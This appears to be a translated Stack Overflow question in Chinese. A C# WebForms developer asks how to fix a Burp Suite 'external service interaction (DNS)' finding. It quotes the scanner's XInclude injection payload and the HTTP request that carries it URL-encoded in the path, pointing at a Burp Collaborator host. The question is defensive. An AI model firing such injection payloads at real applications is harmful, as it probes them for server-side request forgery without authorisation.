如何预防/修复 - 外部服务交互 (DNS)

Jay*_*Jay 5 c# xml webforms web-forms-for-marketers

我收到了这个 burp 漏洞报告 - 外部服务交互 (DNS)

XML 被注入到 URL 路径中。我想知道是否有人知道如何防止这种情况。我正在使用 Visual Studio 和 WebForms C# 开发一个 Web 应用程序。

我想也许可以通过 IIS 或 web.config 文件来阻止它,但我不确定。


问题详情

可以诱导应用程序执行任意域名的服务器端 DNS 查找。有效负载:

<iaz xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="http://o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo"/>
</iaz>
Run Code Online (Sandbox Code Playgroud)

...已在 URL 路径文件名中提交。此负载包含一些 XML,其中包含引用外部域上的 URL 的 XInclude 表达式。

应用程序执行了指定域的 DNS 查找,表明 XML 解析器处理了注入的 XInclude 定义。


GET /ViewEmployee/%3ciaz%20xmlns%3axi%3d%22http%3a//www.w3.org/2001/XInclude%22%3e%3cxi%3ainclude%20href%3d%22http%3a//o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo%22/%3e%3c/iaz%3e?RequestId=428 HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Connection: close
Run Code Online (Sandbox Code Playgroud)